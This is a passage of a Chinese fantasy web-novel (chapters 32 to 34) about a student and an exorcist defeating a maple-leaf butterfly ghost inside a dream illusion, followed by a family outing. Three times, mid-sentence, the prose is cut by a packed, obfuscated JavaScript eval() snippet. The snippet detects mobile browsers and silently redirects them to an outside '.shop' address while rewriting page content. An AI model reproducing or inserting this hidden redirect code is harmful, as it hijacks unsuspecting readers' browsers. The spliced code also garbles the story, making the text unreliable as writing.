结果被前面丢出来的束缚术给控制住了。 与此同时,马车前部,那道一直背对着他们、沉默驾车的车夫身影,缓缓地、极其刻意地转过了头。 吴森森和长岛冰茶同时看去,然后,再次愣住了。 那车夫穿着一身墨绿色、绣着精致枫叶纹样的华丽和服,长发披散,发尾明显有几缕醒目的紫绿色挑染,脸上带着一种玩世不恭又略带恶趣味的笑容。 他手里握着的不是缰绳,而是一根顶端镶嵌着绿色宝石、缠绕着细小藤蔓虚影的短杖。 这张脸,这标志性的挑染,这气质…… 是森内彻!穿着女式和服、长发披肩、但笑容依旧贱兮兮的森内彻! “哎呀呀,两位客人,在别人的马车上搞破坏,可不太礼貌哦?” 森内车夫用他那熟悉的、带着点西关腔的调侃语气说道,手中的短杖轻轻点了点,束缚长岛冰茶的光索又收紧了几分,“乖乖坐好,马上就到‘林间小屋’了。到了那儿,我们再慢慢聊~” 吴森森和长岛冰茶对视一眼,都从对方眼中看到了凝重。 32. 哭叶蝶 南瓜马车在“森内车夫”的驾驭下,最终停在了一片被茂密红枫林环绕的林间空地。 空地中央,果然有一栋看起来精致小巧、却透着一股陈旧气息的木屋,门上挂着风干的辣椒和草药,正是长岛冰茶之前感应到的、属于她在这个梦境中的“安全屋”。 “森内车夫”动作利落地跳下车,脸上依旧是那副玩世不恭的笑容,但眼神深处似乎多了一丝不易察觉的急切。 他没有解开长岛冰茶的白纸锁链,然后不由分说地,一把抓住吴森森的手腕,将他从马车上拉了下来。 长岛冰茶被丢到了马车上。 “走,吴小弟,这地方不安全,哥哥带你去个更好的地方!” “森内车夫”压低声音,语气带着蛊惑,“我知道有条小路,能通到山下河边,那里有条小舟!我们撑船到对岸,就能彻底离开这个鬼地方,到时候天高任鸟飞,咱们就能……嘿嘿,长相厮守了!” 吴森森听得一阵恶寒,但此刻人为刀俎我为鱼肉,而且他也想看看这个幻影到底想干什么,便没有立刻反抗,只是给还被控制在马车旁的长岛冰茶使了个眼色,示意她见机行事。 “森内车夫”拉着吴森森,快步钻进了枫林深处。 他对这片林子似乎异常熟悉,左拐右绕,很快,潺潺的流水声传来,一条不算宽阔、但水流略显湍急的山涧出现在眼前。 山涧边,果然系着一条简陋的、仅能容纳一人的小木舟。 “就是这里!” “森内车夫”眼睛一亮,指着小舟,“快!吴小弟,你先上船!我解开绳子,推你一把!” 吴森森看着那条明显只能坐一个人的小舟,心中警铃大作:“这船……只能坐一个人吧?我们一起?” “森内车夫”脸上的笑容僵了一下,随即飞快地解释道:“哦,对!你看我,急糊涂了!这水流急,船小不稳,两个人反而危险! 这样,你先过去,到对岸等我!我去把那个麻烦的驱魔师丫头处理了,马上就跟过来找你! 放心,哥哥我水性好得很,游都能游过去!” 说着,他就伸手去解系着小舟的绳索,动作带着一种掩饰不住的急躁。 吴森森看着他急切的神情,听着他那漏洞百出的借口,心中那点因为对方顶着“森内彻”面孔而产生的最后一丝犹豫也消失了。这幻影,显然是想把他一个人骗上船,然后自己开溜,或者另有图谋! 至于“长相厮守”?怕是把他当祭品或者诱饵还差不多! 就在“森内车夫”解开绳索,催促吴森森上船的瞬间,一股冰冷、尖锐、如同毒蛇般猛然窜起的强烈恨意,毫无征兆地从吴森森心底最深处爆发出来! 那恨意是如此浓烈、如此真实,仿佛积压了无数岁月,目标直指眼前这个“抛弃同伴、独自逃生”的、女装的“森内彻”!一个疯狂的念头瞬间占据脑海:杀了他!这个背信弃义、临阵脱逃的混蛋! 吴森森悚然一惊!这恨意不是他的!至少,不完全是!是幻境的影响?还是…… 他来不及细想,猛地咬破舌尖,剧痛和血腥味让他精神一振。 同时疯狂催动右臂纹身中微弱却纯净的自然之力,化作一股清凉的溪流,强行冲刷、压制住那股突如其来的滔天恨意! 冷汗瞬间浸湿了他的后背。 “森内车夫”似乎并没有察觉到吴森森内心的激烈挣扎,他已经麻利地解开了绳索,将小舟推入水中,然后自己后退几步,对着吴森森挥了挥手,脸上露出一个“计划通”的狡黠笑容:“快上船!我去去就回!” 说完,他毫不犹豫地转身,几个闪身,就消失在了茂密的枫林之中,真的把吴森森一个人丢在了河边。 跑了。就这么跑了。 吴森森站在水边,看着那随波逐流、渐渐远去的小舟,又看了看“森内车夫”消失的方向,心情复杂。 恨意被压制下去,但一种更深的、混合了荒谬、警惕和一丝莫名悲凉的寒意,却笼罩了他。 就在此时—— “沙沙沙——!” 周围枫林中,所有的树木,无论大小,所有的枝叶,都开始无风自动!不是摇曳,而是一种整齐划一的、如同在颤抖呜咽般的剧烈摇晃! 无数红枫叶如同血滴般簌簌落下,却没有一片真正触及地面,而是在半空中盘旋、飞舞,形成一片凄美的红叶旋涡。 同时,周围的气温骤降,仿佛瞬间从深秋步入了寒冬。细密的、冰凉的雨丝开始毫无征兆地从空中飘落,打在身上,带来刺骨的寒意。 “你不恨吗?” 一个空灵、哀婉、仿佛从岁月尽头传来的女声,幽幽地在枫林间回荡,清晰地传入吴森森的耳中。 吴森森猛地转身,循声望去。 只见在漫天飘洒的红叶与细雨之中,枫林深处,不知何时出现了一个身影。 那是一个身着华美繁复的、数百年前样式大红嫁衣的女子。嫁衣如火,在灰暗的枫林和细雨中显得格外刺目。 她身形窈窕,面容在雨丝和红叶的遮掩下有些模糊,但隐约可见其惊人的美貌,只是那美,带着一种化不开的哀愁与死寂。 她静静地站在那里,仿佛与这片哭泣的枫林融为一体。 是她在说话?是她在操控这一切? 吴森森没有回答,只是警惕地看着她,同时悄悄将所剩无几的精神力集中在森鹿纹身上,准备随时应对不测。 红衣女子似乎并不在意他的沉默,只是用那双仿佛蕴藏着无尽悲伤的眼眸,静静地望着“森内车夫”消失的方向,又看了看吴森森,然后,用她那幽婉的嗓音,缓缓开口,讲述起一个遥远的故事: “很久以前,橘家有一女,才貌双全,已定婚约,对方乃门当户对、自幼相识的竹马。然,女子心中所爱,却另有其人,是一外乡游子。两人瞒着家族,私定终身,约定私奔。” “竹马得知,痛不欲生,却仍深爱女子。私奔之夜,他暗中尾随保护,不料遭遇变故。为护女子周全,竹马舍身赴死,血染枫林。而那外乡情郎,见事不妙,竟丢下女子,独自逃向河边,欲乘舟离去,却不幸失足落水,溺毙而亡。” “女子目睹一切,竹马为护她而死,情郎为逃命而亡。家族震怒,婚约对象却派人传话,表示不介意过往, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016505|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿按约娶她。然女子心已死,情已绝,愧对竹马,恨极情郎,亦不愿接受那毫无意义的婚约。” 她的声音越来越低,仿佛沉浸在无尽的回忆与痛苦中:“最终,在那年红叶最美、却也最是凄凉的深秋,女子独自来到这片见证了她爱情、背叛与死亡的枫林,以一根衣带,自挂于枫树枝头,了却残生。” “她死后,强烈的爱、愧、恨、怨,与这片浸染了竹马鲜血、见证了情郎背叛的枫林灵气结合。她的魂魄未曾消散,亦未入轮回,而是化作了一片永远带着泪痕、在秋风中呜咽的‘哭叶’,年年岁岁,在此徘徊,汲取着过往旅人的悲伤与失意。” 红衣女子抬起手,一片边缘如同泪痕、叶脉暗红、散发着淡淡灰黑气息的奇异红枫叶,凭空出现在她指尖,缓缓旋转。 “然,这并非结束。” 她继续道,声音中多了一丝诡异的波动,“‘哭叶’形态,乃其‘怨’与‘愧’之显化。每逢深秋,怨恨与悲伤累积到极致,这片‘哭叶’便会褪去叶形,化作一只半透明、萦绕着梦幻光晕与哀怨气息的‘蝶’。此乃其‘爱’与‘执念’之升华,亦是其力量蜕变、能够更深地侵入生灵梦境、制造更复杂幻象之时。” 她指尖的红枫叶,形态开始模糊、扭动,边缘舒展,叶脉化作蝶翅的纹路,颜色从暗红转为一种凄美的、半透明的、流转着梦幻色彩的幽蓝与淡紫!最终,化为一只栩栩如生、却散发着无尽哀怨的美丽蝴蝶虚影,在她指尖轻轻颤动。 “哭叶为形,寄怨与愧;幻蝶为神,承爱与执。二者一体,叶落蝶生,循环不息。” 红衣女子幽幽道,“她早已非单纯的‘哭叶’,亦非寻常‘梦蝶’。她是因极端情爱悲剧而生的、拥有双重形态与能力的特殊妖鬼——或可称之为,‘哭叶蝶’。” 哭叶蝶! 吴森森恍然大悟!难怪他之前感知“哭叶”时,会感觉到“鳞虫”的生命特质! 那并非真正的虫子,而是“蝶” 的生命形态在妖力层面的映射! 难怪会有“梦蝶”伴生!那根本就是它的另一个形态,或者说,是它力量的一部分! 长岛冰茶的族学情报和罗盘,只探测到了它较为稳定、常见的“哭叶”形态,却未发现它更深层、更危险、能够制造复杂幻境、侵入梦境的“幻蝶”形态! 这根本不是什么“哭叶伴生梦蝶”,而是一个妖怪,两种形态,一体两面! 这个幻境,不仅仅是随机生成噩梦来吓人,更是“哭叶蝶”自身悲剧记忆的投射与重演!它把闯入者拉入其中,赋予角色,观察甚至诱导他们做出类似当年的选择,或许是为了宣泄痛苦,或许是为了寻找某种“解脱”,又或者……仅仅是一种无意识的、可悲的重复? 红衣女子讲述完故事,指尖的幻蝶虚影消散。 她缓缓抬起眼眸,那双饱含无尽哀怨的眼睛,再次看向吴森森,声音轻得像叹息: “你……不恨吗?他就像当年那个人一样,丢下你,走了。” 她问的,似乎不仅仅是吴森森对“森内车夫”的观感,更是对那故事中“情郎”的质问,或许,也是对她自己命运的一声悲鸣。 33. 红叶最多情 恨?恨个锤子! 面对红衣女子那“你怎么能不恨”的灵魂质问,以及随之而来的、如同刀片般激射而来的漫天红叶,吴森森心里只剩下无语和烦躁。 这都什么跟什么?一个几百年前、人物关系狗血、逻辑崩坏、不带脑子私奔、还强行让人代入的悲剧故事,凭什么要他感同身受地恨啊? 他现在只想赶紧把这破幻境砸了,出去呼吸点正常空气! “唰唰唰——!” 红叶边缘锋利如刃,带着凄厉的破空声袭来。 吴森森狼狈不堪地在有限的空地间闪躲腾挪,手臂和脸颊被擦出几道血痕,火辣辣地疼。 森鹿纹身的力量在没有森林补充的情况下几乎耗尽,难以催动有效的防御或反击。 就在他险象环生之际—— “嗤!” 一道淡青色的、带着驱邪净化气息的灵能光弹,突然从侧方林间射出,精准地打在几片即将击中吴森森要害的红叶上,将其击散成光点! 是长岛冰茶!她不知用了什么方法,竟然挣脱了森内车夫的束缚,赶了过来!虽然脸色还有些苍白,眼神也有些闪烁,大概还没完全从“私定终身”的社死回忆中恢复,但手中的束缚短杖已经亮起稳定的光芒。 “吴!我来帮你!” 长岛冰茶喊了一声,迅速与吴森森汇合,两人背靠背,警惕地注视着重新凝聚身形、手持旋转油纸伞的红衣女子。 “红叶最多情,一舞寄相思……” 红衣女子幽幽念道,手中的油纸伞旋转得越来越快。随着伞面的转动,她的身形开始变得飘忽不定,时而整个人散开,化作无数片凌厉的红叶从四面八方袭来;时而又从某片红叶中瞬间凝聚出实体,发动近身突袭! 虚实转换,诡异莫测,攻击如同绵绵秋雨,无孔不入。 长岛冰茶奋力抵挡,束缚短杖划出道道青光,击散红叶,驱散靠近的幻影。 吴森森也强打精神,用最后一点精神力配合着森鹿纹身那微弱的自然气息,干扰红叶的轨迹,感知女子下一次凝聚的方位。 但哭叶蝶的力量在幻境中明显更强,而且它的攻击中夹杂着精神干扰,让人心烦意乱,难以集中。 久守必失,长岛冰茶一个判断失误,被一片从刁钻角度袭来的红叶虚影吸引了注意力,真正的杀招:一片颜色格外深红、边缘闪烁着金属寒光的红叶,却悄无声息地绕到她颈侧,眼看就要割断她的喉咙! “小心!” 吴森森眼角余光瞥见,想都没想,猛地扑过去,用尽全力将长岛冰茶撞开! 然而,他自己却完全暴露在那片致命红叶的攻击轨迹之下!躲不开了! 就在这千钧一发之际—— “给老子——破!!!” 一声熟悉的、充满狂暴力量的怒吼,如同惊雷般在枫林上空炸响! 只见一道穿着大开叉旗袍、肌肉几乎撑爆布料、脸上脂粉掉了一半的彪悍身影,竟然被一条凭空出现的、粗壮的水流如同弹弓般从林外抛射到了半空! 是高宏亮!幻境中那个“抢亲三人组”之一、穿着旗袍的高宏亮! 他在空中强行扭转身形,无视了空气阻力和他那身滑稽的装扮,手中那把之前滴着黑液的加大号平底锅,此刻竟然迸发出凝实无比的凛冽刀光! 他目光如电,瞬间锁定了那片袭向吴森森的、气息最诡异最深红的红叶,以力劈华山之势,狠狠一刀劈下! “锵——!!!” 金属交击般的刺耳巨响!平底锅与那片红叶结结实实地碰撞在一起!爆发出耀眼的火花和一圈肉眼可见的能量涟漪! 那片红叶,竟然没有被劈碎,而是剧烈地震颤着,发出一声尖锐到超越人耳极限的悲鸣。 表面的深红色泽瞬间黯淡、褪去,显露出下方一片边缘带着泪痕、叶脉暗红、形态介于枫叶与蝴蝶之间的、半枯萎的奇异叶片。 那正是哭叶蝶的本体,是它在这个幻境中的核心显化! 高宏亮这凝聚了幻境中“角色”全部力量的一击,虽然没能彻底摧毁它,却实实在在地重创了其本源! “噗!” 红衣女子的身影在不远处猛地踉跄了一下,手中的油纸伞瞬间崩碎,化作漫天光点。她难以置信地看着高宏亮,又看看那片受创的本体红叶,眼中充满了痛苦、不甘,以及一丝……解脱? “还好……赶上了……” 高宏亮(旗袍版)落在地上,喘着粗气,咧嘴对吴森森露出了一个难看的、但充满庆幸的笑容。 然后,他的身影开始迅速变淡、透明,如同水中倒影被石子打散,最终完全消散在空气中——他在这个幻境中的“角色”,使命完成,力量耗尽,归于虚无。 而随着“哭叶蝶”本体被重创,以及“高宏亮”这个强力“变量”的消失,整个枫林幻境开始剧烈地震荡、崩解! 周围的树木、红叶、细雨、山涧、小屋……一切景象都如同摔碎的镜子,片片剥落,露出后面无边无际的黑暗虚空。 吴森森在意识被抽离的最后一刻,心中明悟:这“哭叶蝶”制造的幻境,本质上就是一种极度取巧、不完整的“域”! 它并非真正达到了三级妖鬼才能拥有的、在现实中开辟稳定亚空间的能力,而是利用自身幻蝶形态的精神入侵与幻象编织天赋,在精神层面构筑了一个能够困住生灵魂魄、模拟真实感官的精神牢笼。 它只能困住精神和意识,无法影响现实物质,且稳定性远不如真正的“域”,一旦核心受创或能量不足,便会迅速崩溃。 天旋地转,意识回归。 吴森森猛地睁开眼睛,大口喘息。 眼前是熟悉的校园小树林墙角,脚下是真实的枯黄落叶。 午后的阳光透过枝叶缝隙,在地上投下斑驳光斑。 手中的黄铜熏香炉里,安神香刚刚燃尽,最后一缕青烟袅袅升起。 时间…还是下午两点十分。 从他点燃安神香、到经历那场荒诞绝伦的冒险、再到此刻脱困,现实世界的时间,竟然只过去了不到半分钟! “吴!你没事吧?!” 旁边传来长岛冰茶带着后怕和关切的声音。 她也刚刚清醒,脸色还有些发白,但眼神已经恢复了清明,正紧张地看着他。 “我没事……你呢?” 吴森森活动了一下手脚,除了精神有些疲惫,身上并没有在幻境中受伤的痕迹,只有手臂和脸颊那几道被红叶擦出的血痕,此刻传来真实的刺痛感——看来幻境中的伤害,一定程度上能反馈到现实身体。 “我也没事……” 长岛冰茶摇了摇头,随即,她的目光被吴森森脚下不远处吸引了过去。 只见在那一堆普通的落叶中,静静躺着一片颜色比其他叶子更深、边缘带着不自然的卷曲、叶脉呈现暗红色、仿佛被泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016506|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水浸泡过的红枫叶。 它看起来平平无奇,只是有些枯萎,但吴森森和长岛冰茶都能清晰地感觉到,从那片叶子上散发出的、微弱却稳定的二级妖气,以及一种沉淀了数百年的、淡淡的哀伤情绪。 再也没有了之前那种虚实转换、侵入梦境的能力。 “是它……‘哭叶’。” 长岛冰茶小心翼翼地用一张特制的符纸,隔空将那枚红枫叶拾起,放入一个刻画着封印纹路的小木盒中。“不,现在应该叫它……橘绪。” 她低声说道,语气复杂。 在幻境最后崩溃的瞬间,关于那个故事,关于那几个名字,如同最后的执念释放,清晰地印入了两人的脑海: 那个为爱私奔、却遭遇背叛与死亡、最终化作妖鬼的女子,名叫橘绪。 那个深爱她、为她而死的竹马,名叫源信。 那个背信弃义、最终落水而亡的情郎,名叫平真。 一段被历史尘埃掩埋的悲剧,一个因极端情感而诞生的奇异妖鬼哭叶蝶,在今日,终于被收服,也终于……某种程度上,得到了见证。 长岛冰茶收好封印着“橘绪”的木盒,长长地舒了口气,对吴森森露出一个如释重负又带着感激的笑容:“谢谢你,吴。又救了我一次,也帮我完成了考核。 没有你,我一个人肯定搞不定这东西。” 吴森森摆摆手,心有余悸:“没事,互相帮助。不过……你们驱魔师的考核目标,都这么……有‘故事’吗?” 长岛冰茶苦笑:“希望不是常态。” 两人相视一笑,劫后余生的轻松感冲淡了之前的紧张与尴尬。 ———— 与此同时,远在春枝猪排饭店的厨房里。 高宏亮正靠着灶台打盹,手里还拿着那把刚刚切完配菜的出刃包丁。 忽然,他浑身猛地一抖,如同触电般惊醒过来,额头渗出一层细密的冷汗。 “呼……呼……” 他大口喘着气,眼神迷茫中带着惊悸,“什么鬼梦……老子居然穿着旗袍去抢亲?还差点没赶上……吴森森那小子有危险?” 他甩了甩头,试图驱散那荒诞又真实的梦境残留影像。 “啧,只是个梦啊……” 他喃喃自语,擦了把额头的汗,脸上露出一丝自嘲和后怕交织的复杂表情,“幸好只是个梦。不过……那小子今天陪爸妈,应该没事吧?” 他走到窗边,望向阪大校园的方向,阳光正好,一切如常。 “大概……是最近太累,胡思乱想了吧。” 高宏亮嘀咕着,转身回到案板前,继续处理晚上的食材。 高宏亮感觉犬妖的血脉刚刚好像躁动了一下,不过现在又恢复了平静。 ———— “看来红叶并不太适合当做定情信物。”上官若水对吴若木说。 “没事,来这是这次旅游给你的小礼物~”吴若木偷偷折了一枝樱花枝,然后还催生回来免得被人发现。 在吴若木的力量下,这支春樱来得比人间四月天的时候还灿烂。 上官若水笑了笑,低头和吴若木亲吻一下,这就是父母爱情吗? “好啦,儿子那边是不是结束了。”吴若木推了推上官若水,“咱们也是时候去找他了。下午还有其他计划呢。” “好的,好的。”上官若水看起来很开心,然后把这支樱花收入了袖口,外面谁也看不出异样。 34. 告一段落 封印着“哭叶”的小木盒被长岛冰茶仔细收进她那个多功能战术腰包。 危机解除,考核目标到手,紧绷的神经骤然松弛,两人都不由得感到一阵虚脱般的疲惫,但更多的是如释重负的轻松。 他们索性就在小树林旁那张被阳光晒得暖洋洋的长椅上坐了下来,暂时不想动弹。 午后的微风拂过,带着草木的清新气息,驱散了之前幻境残留的阴冷与诡异感。 “呼——总算搞定了。” 长岛冰茶伸了个大大的懒腰,栗色的短发在阳光下泛着温暖的光泽,脸上的表情终于彻底放松下来,恢复了属于她这个年纪的少女应有的活力。 “你们驱魔师……平时都这么……刺激吗?” 吴森森忍不住问道,回想起刚才幻境里那些光怪陆离的画面,尤其是“荒流新娘”和“私定终身”的长岛冰茶西装版,嘴角又忍不住抽了抽。 “刺激?算是吧,不过也没天天都遇到这种‘有故事’的。” 长岛冰茶耸耸肩,开始吐槽起来,“其实大部分时间挺无聊的,要么上课,要么训练,要么就是到处找那些躲躲藏藏的低级小妖怪,跟捉迷藏似的。最烦的是族学!” 她像是打开了话匣子,开始滔滔不绝地抱怨:“我们长岛家的族学,就跟夜校似的!白天我得去上普通大学——教育大学,国语教育专业,一堆课,一堆报告,还要准备教资考试! 晚上和周末,就得跑去族学上课,学什么驱魔术式、妖鬼图鉴、结界布置、实战演练……累死了!有时候白天上课困得直打瞌睡,晚上族学训练又累得想吐。” 吴森森深有同感地点点头,美院的课业和创作压力也不小,再加上他最近的“额外活动”,时间管理堪称地狱难度。 “听我爸妈说,最早以前不这样的。” 长岛冰茶叹了口气,脸上露出“生不逢时”的表情,“以前的族人,很多就专心修炼驱魔术,文化课差不多就行。 “结果不知道哪一代,出了个连字都写不好、算数也算不明白的族人,出去接委托闹了大笑话,还把重要情报记错了,差点酿成大祸。 “从那以后,当时的家主就立了规矩,族人必须接受正规的现代教育,达到一定学历标准,才能正式继承驱魔师身份和接高级委托。” “我们家族主火行,所以这些规训的学习有点不太适应…” 她掰着手指头数:“然后呢,泡沫经济崩了,杰潘的学历通货膨胀越来越厉害,好工作都要好学校、高学历。我们家族也跟着卷,学历要求水涨船高! 我爸妈那代,高中毕业就行。到了我这儿,必须大学本科,最好还是名校相关专业!说什么‘驱魔师也要与时俱进’、‘没有文化底蕴怎么理解古籍和复杂仪式’、‘逻辑思维和沟通能力也很重要’……道理我都懂,但是真的好累啊!” 她越说越激动,挥舞着小拳头:“而且我们这一代,竞争压力本来就大,就业难,房价高,社会还期待我们什么都懂、什么都会、还得保持‘低欲望’……结果我们驱魔师内部也卷!不仅要卷驱魔术修为,还要卷学历,卷实习经验,卷人脉……简直不让人活了!” 这一连串的抱怨,精准地踩中了杰潘当下许多年轻学子的痛点,吴森森虽然国籍不同,但作为留学生,对学业压力和社会竞争也能感同身受,不禁频频点头,觉得这位驱魔师少女的烦恼,意外地和普通人一样嘛。 吐槽完学业和家族压力,长岛冰茶似乎又想起了幻境中某些不堪回首的画面,脸微微红了一下,但这次没有逃避,反而主动提了起来,带着点自嘲和后怕: “对了,吴,刚才在幻境里,多亏你最后用那股自然之力把我‘叫醒’。不然……我可能就要在更恐怖的幻象里沉沦了。” 她心有余悸地拍了拍胸口。 “更恐怖?比‘私定终身’还恐怖?” 吴森森好奇。 “恐怖多了!” 长岛冰茶做了个鬼脸,“我‘醒’之前最后看到的幻象是……我成了一个家庭主妇,生了五个孩子! “每天围着灶台和孩子转,还是个幼儿园老师,下班回家还要对付五个小魔王! “丈夫是个典型的大男子主义,回家就当甩手掌柜,还嫌我这不好那不对…… 天啊!光想想我就头皮发麻!那简直是我能想象到的最可怕的未来了!” 她说着,眼中燃起熊熊的斗志之火,握紧拳头:“我才不要像很多传统的杰潘女性那样,年纪轻轻就步入婚姻,被家庭和孩子束缚住!我要当女强人!我要做最强的驱魔师!我要有自己的事业,能独立接S级委托,能周游世界处理各种超常事件,能保护我想保护的人!” “ 婚姻?家庭?等我功成名就、实现自我价值之后再说吧!” 看着她眼中闪烁的光芒和充满活力的宣言,吴森森也被感染了,笑着附和:“没错!先搞事业!我现在就只想赶紧把作业画完,顺利毕业,然后……嗯,先把眼前这些乱七八糟的事处理好。” 他顿了顿,也半开玩笑半认真地说,“我也想变得更厉害点,至少下次再遇到怪物,不至于总是被追着跑或者靠别人救。” “对!一起加油!” 长岛冰茶兴奋地伸出手。 “加油!” 吴森森也伸出手。 两人相视一笑,之前的尴尬和紧张彻底烟消云散,一种友谊悄然建立。 他们从长椅上跳起来,在空中用力地击了一掌! “啪!” 清脆的击掌声在安静的林间响起。 “咳咳。” 就在两人击掌庆祝、畅想未来、气氛正好时,旁边传来了两声刻意压低、却清晰无比的咳嗽声。 吴森森和长岛冰茶动作一僵,缓缓转头。 只见几步开外,上官若水和吴若木不知何时已经站在那里,正笑吟吟地看着他们。 吴若木手里还拿着手机,看样子刚拍完照,脸上是毫不掩饰的、混合了慈爱、好奇和一丝“抓到现行”的得意笑容。 上官若水则推了推眼镜,目光在吴森森和长岛冰茶之间扫了扫,表情温和,但眼神深处似乎带着点探究。 “爸,妈?你们……逛完了?” 吴森森心里咯噔一下,赶紧把手放下,表情有点不自然。 刚才他和长岛冰茶勾肩搭背、畅谈“事业”“未来”“不要婚姻”的场景,肯定被父母尽收眼底了…… “逛得差不多了,想着来看看你们‘同学’之间的事情处理得怎么样了。” 吴若木笑眯眯地走过来,目光在长岛冰茶身上转了转。 尤其是在她那一身利落的工装裤和那个鼓鼓囊囊、装着各种“奇怪工具”的战术腰包上多停留了两秒,然后对吴森森说,“看来,处理得‘挺顺利’嘛?都开始击掌庆祝,畅谈人生理想了?” 长岛冰茶也瞬间从刚才“女强人”的状态切换回礼貌模式,连忙鞠躬问好:“叔叔阿姨好!刚才……刚才多亏吴君帮忙,我的一个小……小课题遇到了点麻烦,已经解决了。不好意思,耽误你们时间了。” “不耽误不耽误。” 吴若木笑得越发和蔼,上前拉住长岛冰茶的手,“冰茶是吧?真是个好孩子,又独立又能干!跟我们森森是同学,以后多互相照应啊!对了,晚上我们要去森森借住的高宏先生店里吃饭,冰茶你也一起来吧?人多热闹!” “啊?我?不用了不用了,太打扰了……” 长岛冰茶连忙摆手,脸又有点红。 “是啊,是啊,也要问问高宏先生吧?”吴森森一边附和。 吴若木瞪了吴森森一眼,最后也没有强求,确实去别人家请外人做客不好,遂作罢。 不过吴若木心里暗搓搓想,晚上要好好盘问盘问这小子,不,等会去天保山摩天轮,在封闭空间好好聊聊,免得这小子跑了。 ———— 长岛冰茶终究还是在吴若木“过于热情”的邀请和自身“幻境社死”后遗症的双重压力下,找了个“突然想起晚上还有pre,但是PPT还没做”的借口,红着脸匆匆告辞了。 离开前,她还悄悄对吴森森比了个“加油,晚上小心”的口型,然后逃也似的消失在了校园小径尽头。 吴若木看着少女离去的背影,意犹未尽地咂咂嘴:“这孩子,跑得真快。不过,挺可爱的,看着也精神,不错不错。” 上官若水推了推眼镜,没对妻子的“不错”发表评论,只是温和地看向儿子:“森森,下午还有时间,你妈妈难得来一趟,有什么想去的地方转转吗?或者,就在学校附近走走?” 吴森森正琢磨着怎么应对晚上可能到来的“审讯”,闻言刚想提议就回酒店休息,或者在学校附近随便逛逛,吴若木却已经兴致勃勃地拿出了手机,开始搜索。 “学校都逛得差不多了!” 吴若木头也不抬地说,“难得来杰潘,还是阪大,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016507|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么能不坐坐那个著名的天保山摩天轮?听说那边视野特别好,能看到海港和城市全景!而且摩天轮包厢里私密性好,正好适合……” 她抬起头,对父子俩露出一个意味深长的笑容,“一家人,好好聊聊天。” 天保山摩天轮?吴森森一愣。那确实是阪大的地标之一,在港湾区域,坐上去能俯瞰阪大湾和部分市景。 但母亲特意挑这个地方……摩天轮包厢,封闭空间,上升过程,景色宜人…… 这氛围,怎么看都更像是要拷打拷打自己这么多天没给家里发消息的事情… “你妹妹林林也放假在家,正好可以视频连线,咱们一家四口,虽然隔着屏幕,也算‘团聚’了,好好说说话。” 吴若木补充道,语气自然,却带着不容置疑的安排。 上官林林周末放假了啊,上大学上得都快忘了周末没课… 一家四口……视频连线……好好聊聊…… 吴森森心里那根弦又绷紧了。 看来,父母是打定主意,要趁着这次机会,问个清楚了。摩天轮包厢,上不着天下不着地,真是“畅谈”的好地方啊。 他看向父亲,希望父亲能说点什么。上官若水却只是点了点头,表示赞同:“天保山摩天轮不错,这个时间去,人应该不多,能看到不错的夕阳景色。森森,你觉得呢?” 父亲都这么说了,吴森森还能说什么?他只能点头:“行,那就去摩天轮吧。我去叫车。” “不用叫车,坐地铁就行,体验一下杰潘的公共交通。” 吴若木大手一挥,已经查好了路线,“走吧,现在过去时间刚好。” 吴森森夹在父母中间,心里盘算着等下可能会被问到的问题,以及哪些能说,哪些必须含糊,哪些打死也不能提。 下午三四点钟,秋日的阳光明媚却不灼热,带着恰到好处的温暖。 天保山公园附近海风习习,空气中带着淡淡的咸腥气息。 买了票上去观景舱缓缓上升,阪大的城市景观和海港风光在脚下逐渐展开,视野开阔,令人心旷神怡。 吴若木兴奋地拿着手机四处拍照,上官若水也欣赏着窗外的景色。吴森森则有些心神不宁,时不时看一眼父母。 当观景舱升到最高点,开始短暂停留,提供最佳观景角度时,吴若木终于收起了手机,坐回了座位上。 她先是用自己的手机拨通了夏国家里的视频电话,很快,妹妹上官林林那张充满朝气的脸庞出现在了屏幕上。 “爸!妈!哥!” 上官林林在那边兴奋地挥手,“哇!你们在摩天轮上!好高啊!能看到海吗?” “能能能!你看!” 吴若木将手机摄像头对准窗外,让女儿也欣赏了一下高空美景。 一家四口隔着屏幕,嘻嘻哈哈地聊了几句家常,妹妹吐槽着学校的功课,关心哥哥在杰潘的生活,气氛轻松愉快。 然而,当最初的兴奋过去,例行问候结束,观景舱开始缓缓下降时,吴若木脸上的笑容微微收敛,眼神也变得认真起来。 她将手机调整了一下角度,确保一家四口都能在镜头里,然后,用一种比刚才闲聊时稍显郑重的语气开口: “好了,林林,你作业写完了没?没写完赶紧去写,我跟你爸还有你哥,有点‘大人之间’的话要说。” 